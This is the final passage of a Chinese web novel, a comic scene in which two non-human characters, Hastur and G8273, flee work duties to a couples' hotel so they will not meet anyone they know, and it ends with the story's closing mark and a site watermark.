“……”哈斯塔这放在门栓上的手又缓缓抬起来了。
G8273正要继续幸灾乐祸地闷笑。
Z力护老板:“为什么非得要我们老板分割时间?你有没有考虑过,G8273其实也是个不错的选择?他是老板的眷属,又拥有和老板相匹敌的力量,他现在手头上的工作又只有巴比伦公司经营一项……”
“……”G8273笑不出来了。
工作面前,人人都是牛马。
两头非人类牛马再度灰溜溜地开跑。
这次穿梭前,哈斯塔一把拽住G8273的衣襟:“挑选落脚地前,先观察环境——公司和巴比伦投资的那么多监控镜头又不是当装饰用的。”
G8273握住他的手:“我倒是知道个地方,即便不用监控镜头,也能确定不会撞见熟人。”
五秒之后,他们站在一家情趣情侣旅馆前,仰望旅馆画着蜡烛与皮鞭的招牌。
会不会撞见熟人?当然不会撞见,毕竟熟人们都是单身狗。
哈斯塔从未想过自己会在情趣情侣旅馆处获得安全感:“下次不如直奔主题。”
G8273赞成地再次在内心给“先办事,再办事”的教训重重打上星号,推开旅馆大门:
“请原谅我的愚钝,有些刻在本能中的习惯很难更改。”
哈斯塔注意到G8273又开始使用文绉绉的语言库:
“——好在我们还拥有足够漫长的时间。”
——全文完——魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&